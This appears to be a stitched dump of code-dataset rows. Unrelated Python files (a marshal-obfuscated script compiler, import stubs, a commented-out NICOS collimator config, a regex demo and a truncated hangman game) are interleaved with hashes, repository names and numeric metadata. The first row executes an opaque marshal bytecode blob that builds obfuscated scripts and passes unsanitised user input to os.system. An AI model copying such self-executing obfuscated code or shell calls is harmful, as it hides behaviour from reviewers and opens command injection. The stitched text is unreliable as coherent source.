exec(marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00@\x00\x00\x00s>\x00\x00\x00d\x00\x00d\x01\x00l\x00\x00Td\x00\x00d\x02\x00l\x01\x00m\x02\x00Z\x02\x00\x01d\x00\x00d\x03\x00l\x03\x00m\x04\x00Z\x04\x00\x01d\x04\x00\x84\x00\x00Z\x00\x00e\x00\x00\x83\x00\x00\x01d\x05\x00S(\x06\x00\x00\x00i\xff\xff\xff\xff(\x01\x00\x00\x00t\x01\x00\x00\x00*(\x01\x00\x00\x00t\x06\x00\x00\x00system(\x01\x00\x00\x00t\x05\x00\x00\x00sleepc\x00\x00\x00\x00\x07\x00\x00\x00\x04\x00\x00\x00C\x00\x00\x00s\xe8\x00\x00\x00t\x00\x00d\x01\x00\x83\x01\x00\x01d\x02\x00GHt\x01\x00d\x03\x00\x83\x01\x00}\x00\x00t\x01\x00d\x04\x00\x83\x01\x00}\x01\x00t\x01\x00d\x05\x00\x83\x01\x00}\x02\x00t\x02\x00|\x00\x00\x83\x01\x00j\x03\x00\x83\x00\x00}\x03\x00t\x04\x00|\x03\x00d\x06\x00d\x07\x00\x83\x03\x00}\x04\x00t\x05\x00|\x04\x00\x83\x01\x00}\x05\x00t\x02\x00|\x01\x00d\x08\x00\x83\x02\x00}\x06\x00|\x06\x00j\x06\x00d\t\x00\x83\x01\x00\x01|\x06\x00j\x06\x00d\n\x00\x83\x01\x00\x01|\x06\x00j\x06\x00d\x0b\x00t\x07\x00|\x05\x00\x83\x01\x00\x17d\x0c\x00\x17\x83\x01\x00\x01|\x06\x00j\x08\x00\x83\x00\x00\x01t\x00\x00d\r\x00|\x01\x00\x17d\x0e\x00\x17|\x02\x00\x17\x83\x01\x00\x01t\t\x00d\x0f\x00\x83\x01\x00\x01t\x00\x00d\x01\x00\x83\x01\x00\x01d\x10\x00|\x01\x00\x17GHd\x00\x00S(\x11\x00\x00\x00Nt\x05\x00\x00\x00clearsI\x00\x00\x00\nMasukkan location Script Anda\ncontoh => /storage/emulated/0/wongedan.py\ns\x17\x00\x00\x00Enter Name Your File : s\x16\x00\x00\x00Save Name Your File?: s+\x00\x00\x00masukan alamat path untuk save file baru?: t\x00\x00\x00\x00t\x04\x00\x00\x00exect\x01\x00\x00\x00ws!\x00\x00\x00#compile marshall by Mr.ZOMBY\ns\x16\x00\x00\x00from marshal import *\ns\x0b\x00\x00\x00exec(loads(s\x02\x00\x00\x00))s\x03\x00\x00\x00mv t\x01\x00\x00\x00 i\x03\x00\x00\x00s$\x00\x00\x00compile finishing :)\n\ncek file name (\n\x00\x00\x00R\x01\x00\x00\x00t\t\x00\x00\x00raw_inputt\x04\x00\x00\x00opent\x04\x00\x00\x00readt\x07\x00\x00\x00compilet\x05\x00\x00\x00dumpst\x05\x00\x00\x00writet\x04\x00\x00\x00reprt\x05\x00\x00\x00closeR\x02\x00\x00\x00(\x07\x00\x00\x00t\x05\x00\x00\x00yopiet\x04\x00\x00\x00savet\x06\x00\x00\x00pindaht\x04\x00\x00\x00filet\x04\x00\x00\x00itilt\x06\x00\x00\x00jembutt\x08\x00\x00\x00wongedan(\x00\x00\x00\x00(\x00\x00\x00\x00R\x04\x00\x00\x00t\x07\x00\x00\x00marshal\x05\x00\x00\x00s"\x00\x00\x00\x00\x01\n\x01\x05\x01\x0c\x01\x0c\x01\x0c\x01\x12\x01\x12\x01\x0c\x01\x0f\x01\r\x01\r\x01\x1b\x01\n\x01\x16\x01\n\x01\n\x01N(\x05\x00\x00\x00R\x17\x00\x00\x00t\x02\x00\x00\x00osR\x01\x00\x00\x00t\x04\x00\x00\x00timeR\x02\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00R\x04\x00\x00\x00t\x08\x00\x00\x00<module>\x01\x00\x00\x00s\x08\x00\x00\x00\n\x01\x10\x01\x10\x02\t\x12'))
| 921.333333
| 2,712
| 0.76013
| 601
| 2,764
| 3.494176
| 0.184692
| 0.322857
| 0.175714
| 0.137143
| 0.287619
| 0.179524
| 0.11
| 0.11
| 0.07381
| 0.04619
| 0
| 0.38097
| 0.015195
| 2,764
| 3
| 2,712
| 921.333333
| 0.390522
| 0.01013
| 0
| 0
| 0
| 0.5
| 0.982822
| 0.91557
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 12
|
e92c0b53fba2be4d1e576f0a78636023306506f4
| 177
|
py
|
Python
|
weboa/prepare.py
|
lonagi/weboa
|
01fcfffb945b0c77f9e365f07fafe33fe39d52cd
|
[
"Apache-2.0"
] | null | null | null |
weboa/prepare.py
|
lonagi/weboa
|
01fcfffb945b0c77f9e365f07fafe33fe39d52cd
|
[
"Apache-2.0"
] | null | null | null |
weboa/prepare.py
|
lonagi/weboa
|
01fcfffb945b0c77f9e365f07fafe33fe39d52cd
|
[
"Apache-2.0"
] | null | null | null |
import pkg_resources
class Package:
stream = pkg_resources.resource_filename(__name__,"../weboa_res/")
#stream = pkg_resources.resource_filename(__name__, "weboa_res/")
| 35.4
| 70
| 0.774011
| 21
| 177
| 5.809524
| 0.52381
| 0.295082
| 0.295082
| 0.42623
| 0.754098
| 0.754098
| 0.754098
| 0.754098
| 0
| 0
| 0
| 0
| 0.107345
| 177
| 5
| 71
| 35.4
| 0.772152
| 0.361582
| 0
| 0
| 0
| 0
| 0.115044
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 10
|
c94c4752f2be1813cc7d8d85c20c69432f106fe2
| 46
|
py
|
Python
|
curl_to_requests/__init__.py
|
mosesschwartz/curl_to_requests
|
d306c8073ee999214407e74c90128fcdda5ade02
|
[
"MIT"
] | 9
|
2016-06-23T22:44:25.000Z
|
2021-09-24T07:42:22.000Z
|
curl_to_requests/__init__.py
|
mosesschwartz/curl_to_requests
|
d306c8073ee999214407e74c90128fcdda5ade02
|
[
"MIT"
] | 2
|
2018-03-30T00:42:41.000Z
|
2019-08-29T04:01:23.000Z
|
curl_to_requests/__init__.py
|
mosesschwartz/curl_to_requests
|
d306c8073ee999214407e74c90128fcdda5ade02
|
[
"MIT"
] | 12
|
2016-01-14T19:43:24.000Z
|
2021-10-09T11:42:41.000Z
|
from curl_to_requests import curl_to_requests
| 23
| 45
| 0.913043
| 8
| 46
| 4.75
| 0.625
| 0.315789
| 0.736842
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.086957
| 46
| 1
| 46
| 46
| 0.904762
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
c9778e9f506733501a9e5613656a7bd7411caa59
| 77
|
py
|
Python
|
post_truth_detector/__init__.py
|
maxiwoj/PostTruthDetector
|
fa8f62ec494e216d40a65717405e76e65df7a918
|
[
"BSD-3-Clause"
] | 1
|
2020-07-28T11:37:28.000Z
|
2020-07-28T11:37:28.000Z
|
post_truth_detector/__init__.py
|
maxiwoj/PostTruthDetector
|
fa8f62ec494e216d40a65717405e76e65df7a918
|
[
"BSD-3-Clause"
] | null | null | null |
post_truth_detector/__init__.py
|
maxiwoj/PostTruthDetector
|
fa8f62ec494e216d40a65717405e76e65df7a918
|
[
"BSD-3-Clause"
] | null | null | null |
from post_truth_detector import learn
from post_truth_detector.tools import *
| 38.5
| 39
| 0.883117
| 12
| 77
| 5.333333
| 0.583333
| 0.25
| 0.40625
| 0.65625
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.090909
| 77
| 2
| 39
| 38.5
| 0.914286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
a3922745e2d34a98b56236d0396ac2ff03c78595
| 49
|
py
|
Python
|
decision_tree/__init__.py
|
aroques/decision-tree
|
996a5194499509624d168f641f22de1438e4c107
|
[
"MIT"
] | null | null | null |
decision_tree/__init__.py
|
aroques/decision-tree
|
996a5194499509624d168f641f22de1438e4c107
|
[
"MIT"
] | null | null | null |
decision_tree/__init__.py
|
aroques/decision-tree
|
996a5194499509624d168f641f22de1438e4c107
|
[
"MIT"
] | null | null | null |
from .DecisionTree import DecisionTreeClassifier
| 24.5
| 48
| 0.897959
| 4
| 49
| 11
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.081633
| 49
| 1
| 49
| 49
| 0.977778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
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| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
a39d12a6d73e276f62804142c6c0d92e09ba448d
| 9,449
|
py
|
Python
|
nicos_demo/vsans1/setups/collimation_config.py
|
jkrueger1/nicos
|
5f4ce66c312dedd78995f9d91e8a6e3c891b262b
|
[
"CC-BY-3.0",
"Apache-2.0",
"CC-BY-4.0"
] | 12
|
2019-11-06T15:40:36.000Z
|
2022-01-01T16:23:00.000Z
|
nicos_demo/vsans1/setups/collimation_config.py
|
jkrueger1/nicos
|
5f4ce66c312dedd78995f9d91e8a6e3c891b262b
|
[
"CC-BY-3.0",
"Apache-2.0",
"CC-BY-4.0"
] | 91
|
2020-08-18T09:20:26.000Z
|
2022-02-01T11:07:14.000Z
|
nicos_demo/vsans1/setups/collimation_config.py
|
jkrueger1/nicos
|
5f4ce66c312dedd78995f9d91e8a6e3c891b262b
|
[
"CC-BY-3.0",
"Apache-2.0",
"CC-BY-4.0"
] | 6
|
2020-01-11T10:52:30.000Z
|
2022-02-25T12:35:23.000Z
|
description = 'Vacuum sensors of collimation tube'
includes = ['system']
excludes = ['collimation']
group = 'lowlevel'
devices = dict(
# col_2_m = device('nicos_mlz.sans1.devices.collimotor.Sans1ColliMotorAllParams',
# description = 'CollimatorMotor 2',
# # IP-adresse: 172.16.17.7
# tangodevice = '%s/coll/col-2m/modbus' % (tangohost, ),
# address = 0x4020+1*10,
# slope = 200*4, # FULL steps per turn * turns per mm
# microsteps = 8,
# unit = 'mm',
# refpos = -8.,
# abslimits = (-400, 600),
# # hw_disencfltr = 'enabled',
# autozero = 20,
# autopower =1,
# ),
# at = device('nicos_mlz.sans1.devices.collimotor.Sans1ColliMotorAllParams',
# description = 'Attenuator',
# # IP-adresse: 172.16.17.1
# tangodevice='%s/coll/ng-pol/modbus'% (tangohost, ),
# address = 0x4020+0*10,
# slope = 200*4, # FULL steps per turn * turns per mm
# microsteps = 8,
# unit = 'mm',
# refpos = -23.0,
# abslimits = (-400, 600),
# mapping = dict( P1=0, P2=117, P3=234, P4=351, OPEN=0, x10=117, x100=234, x1000=351 ),
# ),
# ng_pol = device('nicos_mlz.sans1.devices.collimotor.Sans1ColliMotorAllParams',
# description = 'Neutronguide polariser',
# # IP-adresse: 172.16.17.1
# tangodevice='%s/coll/ng-pol/modbus'% (tangohost, ),
# address = 0x4020+1*10,
# slope = 200*4, # FULL steps per turn * turns per mm
# microsteps = 8,
# unit = 'mm',
# refpos = -4.5,
# abslimits = (-400, 600),
# mapping = dict( P1=0, P2=117, P3=234, P4=351, NG=0, POL1=117, POL2=234, LASER=351 ),
# ),
# col_20 = device('nicos_mlz.sans1.devices.collimotor.Sans1ColliMotorAllParams',
# description = 'CollimatorMotor 20',
# # IP-adresse: 172.16.17.2
# tangodevice='%s/coll/col-20m/modbus'% (tangohost, ),
# address = 0x4020+0*10,
# slope = 200*4, # FULL steps per turn * turns per mm
# microsteps = 8,
# unit = 'mm',
# refpos = -5.39,
# abslimits = (-400, 600),
# mapping = dict( P1=0, P2=117, P3=234, P4=351, NG=0, COL=117, FREE=234, LASER=351 ),
# ),
# col_18 = device('nicos_mlz.sans1.devices.collimotor.Sans1ColliMotorAllParams',
# description = 'CollimatorMotor 18',
# # IP-adresse: 172.16.17.2
# tangodevice='%s/coll/col-20m/modbus'% (tangohost, ),
# address = 0x4020+1*10,
# slope = 200*4, # FULL steps per turn * turns per mm
# microsteps = 8,
# unit = 'mm',
# refpos = -5.28,
# abslimits = (-400, 600),
# mapping = dict( P1=0, P2=117, P3=234, P4=351, NG=0, COL=117, FREE=234, LASER=351 ),
# ),
# bg1 = device('nicos_mlz.sans1.devices.collimotor.Sans1ColliMotorAllParams',
# description = 'Background slit1 motor',
# # IP-adresse: 172.16.17.3
# tangodevice='%s/coll/col-16m/modbus'% (tangohost, ),
# address = 0x4020+0*10,
# slope = 200*0.16, # FULL steps per turn * turns per mm
# microsteps = 8,
# unit = 'mm',
# refpos = -28.85,
# abslimits = (-40, 300),
# mapping = {'P1':0, 'P2':90, 'P3':180, 'P4':270,
# '50mm':0, 'OPEN':90, '20mm':180, '42mm':270 },
# ),
# col_16 = device('nicos_mlz.sans1.devices.collimotor.Sans1ColliMotorAllParams',
# description = 'CollimatorMotor 16',
# # IP-adresse: 172.16.17.3
# tangodevice='%s/coll/col-16m/modbus'% (tangohost, ),
# address = 0x4020+1*10,
# slope = 200*4, # FULL steps per turn * turns per mm
# microsteps = 8,
# unit = 'mm',
# refpos = -4.29,
# abslimits = (-400, 600),
# mapping = dict( P1=0, P2=117, P3=234, P4=351, NG=0, COL=117, FREE=234, LASER=351 ),
# ),
# col_14 = device('nicos_mlz.sans1.devices.collimotor.Sans1ColliMotorAllParams',
# description = 'CollimatorMotor 14',
# # IP-adresse: 172.16.17.3
# tangodevice='%s/coll/col-16m/modbus'% (tangohost, ),
# address = 0x4020+2*10,
# slope = 200*4, # FULL steps per turn * turns per mm
# microsteps = 8,
# unit = 'mm',
# refpos = -2.31,
# abslimits = (-400, 600),
# mapping = dict( P1=0, P2=117, P3=234, P4=351, NG=0, COL=117, FREE=234, LASER=351 ),
# ),
# col_12 = device('nicos_mlz.sans1.devices.collimotor.Sans1ColliMotorAllParams',
# description = 'CollimatorMotor 12',
# # IP-adresse: 172.16.17.4
# tangodevice='%s/coll/col-12m/modbus'% (tangohost, ),
# address = 0x4020+0*10,
# slope = 200*4, # FULL steps per turn * turns per mm
# microsteps = 8,
# unit = 'mm',
# refpos = -1.7,
# abslimits = (-400, 600),
# mapping = dict( P1=0, P2=117, P3=234, P4=351, NG=0, COL=117, FREE=234, LASER=351 ),
# ),
# col_10 = device('nicos_mlz.sans1.devices.collimotor.Sans1ColliMotorAllParams',
# description = 'CollimatorMotor 10',
# # IP-adresse: 172.16.17.4
# tangodevice='%s/coll/col-12m/modbus'% (tangohost, ),
# address = 0x4020+1*10,
# slope = 200*4, # FULL steps per turn * turns per mm
# microsteps = 8,
# unit = 'mm',
# refpos = -9.999, #XXX: Angabe fehlt in Doku !!!
# abslimits = (-400, 600),
# mapping = dict( P1=0, P2=117, P3=234, P4=351, NG=0, COL=117, FREE=234, LASER=351 ),
# ),
# bg2 = device('nicos_mlz.sans1.devices.collimotor.Sans1ColliMotorAllParams',
# description = 'Background slit2',
# # IP-adresse: 172.16.17.5
# tangodevice='%s/coll/col-8m/modbus'% (tangohost, ),
# address = 0x4020+0*10,
# slope = 200*0.16, # FULL steps per turn * turns per mm
# microsteps = 8,
# unit = 'mm',
# refpos = -1.5,
# abslimits = (-40, 300),
# mapping = {'P1':0, 'P2':90, 'P3':180, 'P4':270,
# '28mm':0, '20mm':90, '12mm':180, 'OPEN':270 },
# ),
# col_8 = device('nicos_mlz.sans1.devices.collimotor.Sans1ColliMotorAllParams',
# description = 'CollimatorMotor 8',
# # IP-adresse: 172.16.17.5
# tangodevice='%s/coll/col-8m/modbus'% (tangohost, ),
# address = 0x4020+1*10,
# slope = 200*4, # FULL steps per turn * turns per mm
# microsteps = 8,
# unit = 'mm',
# refpos = -3.88,
# abslimits = (-400, 600),
# mapping = dict( P1=0, P2=117, P3=234, P4=351, NG=0, COL=117, FREE=234, LASER=351 ),
# ),
# col_6 = device('nicos_mlz.sans1.devices.collimotor.Sans1ColliMotorAllParams',
# description = 'CollimatorMotor 6',
# # IP-adresse: 172.16.17.5
# tangodevice='%s/coll/col-8m/modbus'% (tangohost, ),
# address = 0x4020+2*10,
# slope = 200*4, # FULL steps per turn * turns per mm
# microsteps = 8,
# unit = 'mm',
# refpos = -4.13,
# abslimits = (-400, 600),
# mapping = dict( P1=0, P2=117, P3=234, P4=351, NG=0, COL=117, FREE=234, LASER=351 ),
# ),
# col_4 = device('nicos_mlz.sans1.devices.collimotor.Sans1ColliMotorAllParams',
# description = 'CollimatorMotor 4',
# # IP-adresse: 172.16.17.6
# tangodevice='%s/coll/col-4m/modbus'% (tangohost, ),
# address = 0x4020+1*10,
# slope = 200*4, # FULL steps per turn * turns per mm
# microsteps = 8,
# unit = 'mm',
# refpos = -9.37,
# abslimits = (-400, 600),
# mapping = dict( P1=0, P2=117, P3=234, P4=351, NG=0, COL=117, FREE=234, LASER=351 ),
# ),
# col_3 = device('nicos_mlz.sans1.devices.collimotor.Sans1ColliMotorAllParams',
# description = 'CollimatorMotor 3',
# # IP-adresse: 172.16.17.6
# tangodevice='%s/coll/col-4m/modbus'% (tangohost, ),
# address = 0x4020+2*10,
# slope = 200*4, # FULL steps per turn * turns per mm
# microsteps = 8,
# unit = 'mm',
# refpos = -9.35,
# abslimits = (-400, 600),
# mapping = dict( P1=0, P2=117, P3=234, P4=351, NG=0, COL=117, FREE=234, LASER=351 ),
# ),
# col_sa1 = device('nicos_mlz.sans1.devices.collimotor.Sans1ColliMotorAllParams',
# description = 'attenuation slits',
# # IP-adresse: 172.16.17.7
# tangodevice='%s/coll/col-2m/modbus'% (tangohost, ),
# address = 0x4020+0*10,
# slope = 200*4, # FULL steps per turn * turns per mm
# microsteps = 8,
# unit = 'mm',
# refpos = -34.7,
# abslimits = (-40, 300),
# mapping = {'P1':0, 'P2':70, 'P3':140, 'P4':210,
# '50x50':0, '30mm':70, '20mm':140, '10mm':210 },
# ),
# col_2b = device('nicos_mlz.sans1.devices.collimotor.Sans1ColliMotorAllParams',
# description = 'CollimatorMotor 2b',
# # IP-adresse: 172.16.17.7
# tangodevice='%s/coll/col-2m/modbus'% (tangohost, ),
# address = 0x4020+2*10,
# slope = 200*4, # FULL steps per turn * turns per mm
# microsteps = 8,
# unit = 'mm',
# refpos = -9.,
# abslimits = (-400, 600),
# mapping = dict( P1=0, P2=117, P3=234, P4=351, NG=0, COL=117, FREE=234, LASER=351 ),
# ),
# pump devices of 172.17.17.10 are at modbus-tangodevice //sans1srv.sans.frm2/sans1/coll/pump
)
| 42.755656
| 97
| 0.543338
| 1,159
| 9,449
| 4.401208
| 0.124245
| 0.036659
| 0.046658
| 0.063321
| 0.89257
| 0.89257
| 0.89257
| 0.887473
| 0.845717
| 0.611645
| 0
| 0.152557
| 0.286168
| 9,449
| 220
| 98
| 42.95
| 0.603706
| 0.847815
| 0
| 0
| 0
| 0
| 0.049538
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6e964641dd28ca0aeddd5373c703e8ee45b0b277
| 113
|
py
|
Python
|
alphapose/version.py
|
ioir123ju/AlphaPose
|
c0adbd9c2b3d6ea0efb00657ec858eefda8962ab
|
[
"Apache-2.0"
] | null | null | null |
alphapose/version.py
|
ioir123ju/AlphaPose
|
c0adbd9c2b3d6ea0efb00657ec858eefda8962ab
|
[
"Apache-2.0"
] | null | null | null |
alphapose/version.py
|
ioir123ju/AlphaPose
|
c0adbd9c2b3d6ea0efb00657ec858eefda8962ab
|
[
"Apache-2.0"
] | null | null | null |
# GENERATED VERSION FILE
# TIME: Tue Jul 7 14:07:19 2020
__version__ = '0.3.0+6da16b0'
short_version = '0.3.0'
| 18.833333
| 32
| 0.690265
| 21
| 113
| 3.47619
| 0.714286
| 0.219178
| 0.246575
| 0.273973
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.223404
| 0.168142
| 113
| 5
| 33
| 22.6
| 0.553191
| 0.469027
| 0
| 0
| 1
| 0
| 0.315789
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6eb19cb29a11b3febbc3121a310b7e1a3e58ca53
| 664
|
py
|
Python
|
Ch_7_Mangle Data Like a Pro/demo_of_regular_expression.py
|
brianchiang-tw/Introducing_Python
|
557fcddb6329741a177d6ee1d24122b36e106235
|
[
"MIT"
] | 1
|
2020-07-21T08:34:08.000Z
|
2020-07-21T08:34:08.000Z
|
Ch_7_Mangle Data Like a Pro/demo_of_regular_expression.py
|
brianchiang-tw/Introducing_Python
|
557fcddb6329741a177d6ee1d24122b36e106235
|
[
"MIT"
] | null | null | null |
Ch_7_Mangle Data Like a Pro/demo_of_regular_expression.py
|
brianchiang-tw/Introducing_Python
|
557fcddb6329741a177d6ee1d24122b36e106235
|
[
"MIT"
] | null | null | null |
import re
source = 'Young Frankenstein'
m = re.match('You', source)
if m:
# you
print( m.group() )
# -----------------------------
source = 'Young Frankenstein'
m = re.match('^You', source)
if m:
# you
print( m.group() )
# -----------------------------
source = 'Young Frankenstein'
m = re.match('Frank', source)
if m:
# No mathchin
print( m.group() )
# -----------------------------
source = 'Young Frankenstein'
m = re.search('Frank', source)
if m:
# Frank
print( m.group() )
# -----------------------------
source = 'Young Frankenstein'
m = re.match('.*Frank', source)
if m:
# Young Frank
print( m.group() )
| 15.090909
| 31
| 0.475904
| 74
| 664
| 4.27027
| 0.202703
| 0.174051
| 0.363924
| 0.379747
| 0.797468
| 0.797468
| 0.797468
| 0.797468
| 0.68038
| 0.68038
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| 0.210843
| 664
| 44
| 32
| 15.090909
| 0.603053
| 0.236446
| 0
| 0.714286
| 0
| 0
| 0.228916
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.047619
| 0
| 0.047619
| 0.238095
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
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0
| 7
|
6ecc7091bf8ec3c88b07d14cbb3f5d4423171484
| 25,461
|
py
|
Python
|
Projetos/Jogo_da_forca_old.py
|
PedroHAlvesS/Exercicios-Python-Curso-em-video
|
7ab187d65ddada252450b048608dc4898e5c67c8
|
[
"MIT"
] | null | null | null |
Projetos/Jogo_da_forca_old.py
|
PedroHAlvesS/Exercicios-Python-Curso-em-video
|
7ab187d65ddada252450b048608dc4898e5c67c8
|
[
"MIT"
] | null | null | null |
Projetos/Jogo_da_forca_old.py
|
PedroHAlvesS/Exercicios-Python-Curso-em-video
|
7ab187d65ddada252450b048608dc4898e5c67c8
|
[
"MIT"
] | null | null | null |
#Jogo da foca
#Bibliotecas
import os
from random import randint
from colorama import Fore, Back, Style, init
from time import sleep
def jogar():
#CMD
init(autoreset=True)
cmd = 'mode 80,31'
os.system(cmd)
#Palavras (caso queira add mais)
frutas = ('abacate', 'laranja', 'maçã', 'amora', 'morango', 'caju', 'coco', 'goiaba', 'limão', 'pera')
animais = ('cachorro', 'gato', 'papagaio', 'pinguim', 'dragão-de-komodo', 'andorinha', 'tartaruga', 'leão', 'foca', 'golfinho')
grand_chase = ('elesis', 'lire', 'arme', 'lass', 'ryan', 'ronan', 'amy', 'jin', 'sieghart', 'mari',
'dio', 'zero', 'rey', 'lupus', 'lin', 'azin', 'holy', 'veigas', 'uno')
#tupla com as palavras (coloque palavras (tuplas) extra dentro desta tupla)
jogo = (frutas, animais, grand_chase)
#Variaveis
escolha = '' # escolha da palavra da tupla
tentativas = 6 #cabeça(1), corpo(2), pernas(3 e 4), braços(5 e 6)
palavra_tamanho = 0 # tamanho da palavra escolhida
letra_player = '' # letra do player
caracteres_especiais = ('ã', 'ç')
letras_usadas = list()
y = os.get_terminal_size().lines
x = os.get_terminal_size().columns
title_color = menu_color = game_color = Fore.CYAN
letra_color = Fore.RED
color_reset = Style.RESET_ALL
espaco = ' '
letras_certas = list()
j = 0.0 # pra parte visual (efeitinho)
aleatorio = 0 #escolher a palavra
contador_letra = 0
contador_letraEspecial = 0
posicao = 0 # pra saber a posiçao da palavra encontrada
trava = ' '
while True:
#Logo
for i in range(0, 14):
print()
print(title_color + "-=" * 40)
print(f"{title_color}{'Jogo da Forca':^{x}}")
print(title_color + "-=" * 40)
print(f"{title_color}{'By Skuld ':>{x}}") # 23 espaços
for i in range(0, 13):
print()
sleep(3)
#Clear Screen
for i in range(0, y):
print()
#Menu / Escolha da palavra
while True: #Escolha das palavras || Menu
# Menu de opção
print(f"{menu_color}{'--------------------':^{x}}")
print(f"{menu_color}{'| [ 1 ] Frutas |':^{x}}")
print(f"{menu_color}{'| [ 2 ] Animais |':^{x}}")
print(f"{menu_color}{'| [ 3 ] Grand Chase|':^{x}}")
print(f"{menu_color}{'--------------------':^{x}}")
opc = input(f"{menu_color}{'Opção:':^{x}}\n\n\n\n\n\n\n\n\n\n\n\n\n")
if opc in '123':
opc = int(opc) - 1
aleatorio = randint(0, (len(jogo[opc]) -1 ) )
escolha = jogo[opc][aleatorio]
break
else:
# Clear Screen
for i in range(0, y):
print()
palavra_tamanho = len(escolha)
for i in range(0, palavra_tamanho):
letras_certas.append(' ')
#Core
while True:
#Início
if tentativas == 6:
print(f"{game_color}{'Hífen também conta, não use acentos':^{x}}")
for i in range(0, 5):
print()
print(f"{game_color}{' ____________________'}{'Letras Erradas':>{x - 30}}")
print(f"{game_color}{' | |'}", end='')
# Mostrar letras usadas
for i in range(0, len(letras_usadas)):
j = 1 + (3 * (len(letras_usadas) - 1))
if i == 0:
print(espaco * (49 - j), end='')
print(f"{game_color}{letras_usadas[i]}", end='')
else:
print(f"{game_color}, {letras_usadas[i]}", end='')
print()
print(f"{game_color}{' | |'}")
for i in range(0, 16):
print(f"{game_color}{' |'}")
print(f"{game_color}{' / '}\\")
# Mostrar letras certas
for i in range(0, len(letras_certas)):
if i == 0:
print(espaco*19, end='')
print(f"{game_color}{letras_certas[i]}", end='')
else:
print(f"{game_color} {letras_certas[i]}", end='')
print()
# Mostrar os tracinhos
for i in range(0, len(escolha)):
if i == 0:
print(f"{game_color}{'-':>20}", end='')
else:
print(f"{game_color}{' -'}", end='')
print()
for i in range(0, 2):
print()
letra_player = str(input(f"{letra_color}Letra:{color_reset} ")).strip().lower()[0]
# Verificaçao das palavras
if letra_player in 'a':
if letra_player in escolha or caracteres_especiais[0] in escolha:
contador_letra = escolha.count(letra_player)
contador_letraEspecial = escolha.count('ã')
palavra_tamanho -= (contador_letra + contador_letraEspecial)
# Add as palavras na lista
# letras normais
posicao = 0
for i in range(0, contador_letra):
posicao = escolha.index(letra_player, posicao)
letras_certas[posicao] = letra_player
posicao += 1
posicao = 0
for i in range(0, contador_letraEspecial):
posicao = escolha.index(letra_player, posicao)
letras_certas[posicao] = letra_player
posicao += 1
posicao = 0
else:
tentativas -= 1
letras_usadas.append(letra_player)
elif letra_player in 'c':
if letra_player in escolha or caracteres_especiais[1] in escolha:
contador_letra = escolha.count(letra_player)
contador_letraEspecial = escolha.count('ç')
palavra_tamanho -= (contador_letra + contador_letraEspecial)
# Add as palavras na lista
# letras normais
posicao = 0
for i in range(0, contador_letra):
posicao = escolha.index(letra_player, posicao)
letras_certas[posicao] = letra_player
posicao += 1
# letras especiais
posicao = 0
for i in range(0, contador_letraEspecial):
posicao = escolha.index(letra_player, posicao)
letras_certas[posicao] = letra_player
posicao += 1
posicao = 0
else:
tentativas -= 1
letras_usadas.append(letra_player)
else:
if letra_player in escolha:
